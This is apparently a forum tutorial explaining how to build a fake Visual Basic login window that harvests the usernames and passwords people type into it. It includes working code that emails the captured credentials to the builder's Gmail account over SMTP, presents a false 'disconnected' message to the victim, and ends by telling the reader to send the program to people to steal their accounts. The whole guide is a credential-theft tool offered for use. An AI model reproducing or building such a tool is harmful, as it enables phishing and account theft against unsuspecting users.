[Guide]How to make a program to steal accounts ( Visual Basic)

1. You must have an account at gmail.com
2. This is not keyloggers, and the program to send data to Email


1) To start you need a Visual Basic. To download it, go to

Code:

http://en.kioskea.net/download/download-104-visual-basic-express-edition

Once you've installed it, open it and press Ctrl + N, to create a new project and select Windows form Applications, press OK



2) We need 2 buttons, 2 labels and 2 text input fields

Select option 3 of these and drag them into the program window:







3) Next change size of each label, button and string - you should get something like this



4) Now we need to change the name of the buttons and labels

Label number 1 - "ID"
Label number 2 - "Password"

Button number 1 - "Log In"
Button number 2 - "EXIT"

Note: The button "EXIT" has the same function to send the data as "Log In"

To change the name, we press 1 time on the label and opens Preferences window, where we edit the title



Change the title respectively for all the buttons and labels. Should be something like:



5) Now our window looks beautiful, we attach a picture

To add a picture on the toolbar, select

Next, we choose a place where there will be a picture:



Once we downloaded the picture, for example



and go to settings, select the image and click "import"



Further, this screen appears:



Choosing a local resource, then import, select our image and click OK.



Now we need a code for our program
Click twice on the log of the program and the window will sometimes look like



Now, into this box, we copy the code

Code:

If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
        Else
        End If
        End if
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Pass")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        smtpServer.Send(mail)
        MsgBox("Disconnected From Server, Please try again later!")

You must enter your username and password from Gmail
Also, you should leave "dont delete them"

You can change the message "OK"on your

Note: I do not know why, but this just gives an error code

Decision:

1. Click the orange exclamation mark, which is located under the word "SmtpClient"



2. Next, select "Import.System.Net.Mail"

Also perform this step for "MailAddress"

7) We are almost done
Change layer: Go to "Form1.vb" [Design] and then click "start debugging"

If you did everything correctly, your program is still alive today):

You can check it by writing "left" username and password. If the data came to Gmail, then the program runs.



That's all

Now save the program by pressing Control + Shift + S
Next, open the Applications folder. You will see another file with the name of your program. Open it up - there will be lots of files



Select a folder "obj", then "debug" and you will see your program



Now you can send it to people and begin to steal accounts.